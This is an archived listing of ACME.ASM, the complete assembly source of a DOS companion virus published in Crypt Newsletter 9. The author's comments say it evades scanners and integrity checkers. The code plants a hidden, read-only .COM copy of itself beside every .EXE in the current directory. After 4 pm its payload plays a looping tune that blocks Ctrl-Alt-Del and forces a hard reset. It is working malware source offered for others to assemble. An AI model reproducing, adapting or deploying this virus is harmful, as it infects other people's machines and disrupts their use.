home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / ACME.ASM < prev    next >
Assembly Source File  |  1992-11-30  |  11KB  |  301 lines

  1. ; ACME COMPANION VIRUS for Crypt Newsletter 9
  2. ;
  3. ; ACME is a fast and simple companion virus which will create a
  4. ; spawned copy of itself for EVERY .EXE file it can find in the
  5. ; current directory. 
  6. ;
  7. ; ACME is ready to assemble using A86. If you recall, an earlier Crypt
  8. ; letter included an A86-only source listing. (Strict TASM/MASM compatible 
  9. ; assemblers will need the manual addition of a couple simple declarative 
  10. ; statements.) I included ACME in this form so fans of Isaacson's 
  11. ; technique can gloat about the code not requiring "red tape." ;-]
  12. ; A86 will assemble ACME directly to a .COMfile virus, no linker
  13. ; necessary.
  14. ; ACME currently eludes all scanners and as a companion virus, openly
  15. ; defies every integrity checker I have in my inventory with the EXCEPTION
  16. ; of Stiller Research's.  This issue includes a quality report on
  17. ; Solomon's Toolkit, so it's only fair to state that while the documentation
  18. ; for this product seems to indicate that the developers know what a 
  19. ; companion infection is, the software does nothing to protect against
  20. ; it in default mode. ACME flies through the Toolkit, for now. Go figure.
  21. ;
  22. ; ACME will also play a generic ACME-style virus tune late in the
  23. ; afternoon. Those who fancy a musical virus but have never heard one are
  24. ; encouraged to play with ACME. Set your system clock to anytime after
  25. ; 4:00 pm. The musical payload takes up most of the space in this virus,
  26. ; removing it shaves the virus to 242 bytes - nice and small if you like.
  27. ;
  28. ; The virus purist may recognize the root of ACME as a piece of code known
  29. ; as ZENO - a small, single-step companion infector. ZENO's author is
  30. ; thanked, wherever he/she is.
  31.  
  32.  
  33. START:          
  34.  
  35.         jmp  VIR_BEGIN    ; get going
  36.  
  37.  
  38. WILDCARD        DB  "*.EXE",0
  39. FILE_EXT        DB  "COM",0
  40. FILE_FOUND      DB  12 DUP(' '), 0
  41. FILE_CREATE     DB  12 DUP(' '), 0
  42. SEARCH_ATTRIB   DW  17H
  43. NUM_INFECT      DW  0
  44. MUZIK           DW      4304,0006, 4063,0006, 4304,0006, 4063,0006, ;MUZIK - notes/delay
  45.         DW      3043,0006, 4831,0006, 4063,0006, 3043,0006, ;in format xxxx,yyyy
  46.         DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  47.         DW      3043,0006, 4831,0006, 4063,0006, 3043,0006, 
  48.         DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  49.         DW      3043,0006, 4831,0006, 4063,0006, 3043,0006, 
  50.         DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  51.         DW      3043,0006, 5119,0006, 5423,0006, 3043,0006, 
  52.         DW      6087,0020, 
  53.  
  54.         DW      6087,0006, 
  55.         DW      7239,0006, 3619,0006, 4831,0006, 6087,0006
  56.         DW      7670,0006, 7239,0006, 4831,0006, 3619,0006
  57.  
  58.         DW      6087,0006, 4063,0006, 3043,0006, 5119,0006
  59.         DW      4831,0006, 6087,0006, 7239,0006, 8126,0006
  60.         DW      6087,0020, 
  61.  
  62.         DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  63.         DW      3043,0006, 4831,0006, 4063,0006, 3043,0006, 
  64.         DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  65.         DW      3043,0006, 4831,0006, 4063,0006, 3043,0006, 
  66.         DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  67.         DW      3043,0006, 5119,0006, 5423,0006, 3043,0006, 
  68.         DW      6087,0020, 
  69.  
  70.         DW      6087,0006, 
  71.         DW      7239,0006, 3619,0006, 4831,0006, 6087,0006
  72.         DW      7670,0006, 7239,0006, 4831,0006, 3619,0006
  73.  
  74.         DW      6087,0006, 4063,0006, 3043,0006, 5119,0006
  75.         DW      4831,0006, 6087,0006, 7239,0006, 8126,0006
  76.         DW      6087,0020, 
  77.  
  78.         DW      7670,0006, 7239,0006, 4831,0006, 3619,0006
  79.         DW      3043,0006, 3619,0006, 4831,0006, 6087,0006
  80.         DW      3043,0010, 
  81.  
  82.         DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  83.         DW      3043,0006, 4831,0006, 4063,0006, 3043,0006, 
  84.         DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  85.         DW      3043,0006, 4831,0006, 4063,0006, 3043,0006, 
  86.         DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  87.         DW      3043,0006, 5119,0006, 5423,0006, 3043,0006, 
  88.         DW      6087,0020, 
  89.  
  90.         DW      7670,0006, 7239,0006, 4831,0006, 3619,0006
  91.         DW      3043,0006, 3619,0006, 4831,0006, 6087,0006
  92.         DW      3043,0010, 
  93.  
  94.         DW      6087,0006, 
  95.         DW      7239,0006, 3619,0006, 4831,0006, 6087,0006
  96.         DW      7670,0006, 7239,0006, 4831,0006, 3619,0006
  97.  
  98.         DW      6087,0006, 4063,0006, 3043,0006, 5119,0006
  99.         DW      4831,0006, 6087,0006, 7239,0006, 8126,0006
  100.         DW      6087,0020, 
  101.  
  102.         DW      0ffffh
  103.  
  104.  
  105.  
  106. My_Cmd:
  107. CMD_LEN         DB  13
  108. FILE_CLONE      DB  12 DUP (' '), 0
  109.  
  110. ;------------------------------------------------------------------;
  111. Prepare_command:
  112.            cld
  113.            mov    di,OFFSET FILE_CLONE
  114.            mov    al,0
  115.            mov    cx,12
  116.            repne scasb          ; find the end of string \0
  117.  
  118.            mov    al,0Dh        ; <CR>
  119.            stosb                ; replace \0 with a <CR>
  120.  
  121.            mov    ax,12         ;store length of the command
  122.            sub    ax,cx
  123.            mov    CMD_LEN, al
  124.            ret
  125.  
  126. ;------------------------------------------------------------------;
  127. Store_name:
  128.  
  129.            mov    di,OFFSET FILE_FOUND   ;Point to buffer.
  130.            mov    si,158                 ;stow the file found in buffer
  131.            mov    cx,12
  132.            rep movsb
  133.  
  134.            mov    di,OFFSET FILE_CREATE  ;Point to buffer.
  135.            mov    si,158
  136.            mov    cx,12
  137.            rep movsb
  138.  
  139.            cld
  140.            mov    di,OFFSET FILE_CREATE
  141.            mov    al,'.'
  142.            mov    cx,9
  143.            repne scasb                   ;find the '.'
  144.  
  145.            mov    si,OFFSET FILE_EXT
  146.            mov    cx,3
  147.            rep movsb                     ;replace the .EXE with .COM
  148.                          ;from buffer
  149.            ret
  150.  
  151.  
  152. ;------------------------------------------------------------------;
  153.                       ;Does the file exist?
  154.  
  155. Check_file:
  156.            mov    dx,OFFSET FILE_CREATE
  157.            mov    cx,0
  158.            mov    ax,3d00h        ; Open file, read only
  159.            int    21h
  160.  
  161. Chk_done:
  162.            ret
  163.  
  164. ;------------------------------------------------------------------;
  165. Infect_file:                                  ;create companion routine
  166.                           
  167.            mov    dx,OFFSET FILE_CREATE   ;contains name of "companion"
  168.            mov    cx,0
  169.            mov    ah,3ch                  ;construct file
  170.            int    21h
  171.            jc     EXIT
  172.  
  173.                           ;Write virus to companion file
  174.            mov    bx,ax
  175.            mov    cx,(OFFSET END_OF_CODE - OFFSET START) ;virus length
  176.            mov    dx,OFFSET START
  177.            mov    ah,40h                  ;write to file function
  178.            int    21h                     ;do it
  179.  
  180.                           ;Close file
  181.            mov    ah,3eh    ; ASSUMES bx still has file handle
  182.            int    21h
  183.  
  184.                           ;Change attributes
  185.            mov    dx,OFFSET FILE_CREATE   ;of created file to
  186.            mov    cx,3          ;(1) read only and (2) hidden
  187.            mov    ax,4301h
  188.            int    21h
  189.  
  190.            ret
  191.  
  192. ;------------------------------------------------------------------
  193. ; Read all the directory filenames and store as records in buffer. 
  194. ;------------------------------------------------------------------
  195.  
  196. Vir_begin:
  197.            mov     ah,02Ch          ;DOS get time function
  198.            int     021h
  199.            mov     al,ch            ;Copy hour into AL
  200.            cbw                      ;Sign-extend AL into AX
  201.            cmp     ax,0010h         ;Did the function return 16 (4 pm)?
  202.            jge     TOON             ;If greater than or equal, muzik!
  203.            
  204.            
  205.            mov    sp,offset STACK_HERE   ;move stack down
  206.            mov    bx,sp
  207.            add    bx,15
  208.            mov    cl,4
  209.            shr    bx,cl
  210.            mov    ah,4ah                  ;deallocate rest of memory
  211.            int    21h
  212.  
  213.            mov    di,OFFSET FILE_CLONE   ;Point to buffer.
  214.            mov    si,OFFSET FILE_FOUND
  215.            mov    cx,12
  216.            rep    movsb
  217.  
  218. Read_dir:      mov    dx,OFFSET WILDCARD   ;file mask for directory search
  219.            mov    cx,SEARCH_ATTRIB
  220.  
  221.            mov    ah,4Eh                ;find the first matching file
  222.            int    21h
  223.  
  224.            jc     EXIT                   ;If empty directory, exit
  225.  
  226. Do_file:
  227.            call   STORE_NAME
  228.            call   CHECK_FILE
  229.            call   INFECT_FILE
  230.  
  231.  
  232.  
  233. Find_next:
  234.            mov   ah,4fh          ; find next file and keep finding until
  235.            int   21h             ; all 
  236.            jnz   Do_File         ; infected
  237.  
  238. Exit:
  239.  
  240.                       ; Run the original program
  241.            call   Prepare_command
  242.            mov    si, OFFSET MY_CMD
  243.            int    2Eh                 ; Pass command to command
  244.                       ; interpreter for execution
  245.                       
  246.            mov    ax,4C00H            ; Exit to DOS
  247.            int    21h
  248.  
  249. ;-------------------------------------------------------------------
  250. ;This routine enables ACME virus to compel the pc to play the 
  251. ;ACME virus song just about the time the clock-watchers are getting
  252. ;ready to leave
  253. ;-------------------------------------------------------------------
  254. TOON:
  255.            cli                        ;interrupts off
  256.            mov     al,10110110xb      ;the number
  257.            out     43h,al             ;to send to the speaker
  258.            lea     si,MUZIK           ;point (si) to the ACME note table
  259.  
  260. TOON2:         cld                        
  261.            lodsw                    ;load word into ax and increment (si)
  262.            cmp     ax,0ffffh        ;is it ffff? If so, end of table
  263.            jz      GO_MUZIK2        ;so, time to jump into endless loop
  264.            out     42h,al           
  265.            mov     al,ah            
  266.            out     42h,al           ;send it next
  267.            in      al,61h           ;get value to turn on speaker
  268.            or      al,00000011xb    ;OR the gotten value
  269.            out     61h,al           ;now we turn on speaker
  270.            lodsw                    ;load the repeat loop count into (ax)
  271. LOOP6:  
  272.         mov     cx,8000         ;delay count
  273. LOOP7:  
  274.         loop    LOOP7           ;do the delay
  275.         dec     ax              ;decrement repeat count
  276.         jnz     LOOP6           ;if not = 0 loop back
  277.         in      al,61h          ;all done
  278.         and     al,11111100xb   ;number turns speaker off
  279.         out     61h,al          ;send it
  280.         jmp     short TOON2     ;now go do next note
  281. GO_MUZIK2:                              ;our loop point
  282.     
  283.         sti                  ;enable interrupts
  284.         jmp    TOON          ;jump back to beginning - this code
  285.                      ; has the additional advantage of
  286.                      ;locking out CTRL-ALT-DEL reboot.
  287.             ;The user must do a hard reset to recover from ACME.
  288.  
  289.  
  290.  
  291. END_OF_CODE     =       $
  292.  
  293. STACK_HERE      EQU   END_OF_CODE + 512
  294.  
  295.  
  296. ;  ─────────────────────────────────────────────────────────────────────────
  297. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  298. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  299. ;  ─────────────────────────────────────────────────────────────────────────
  300.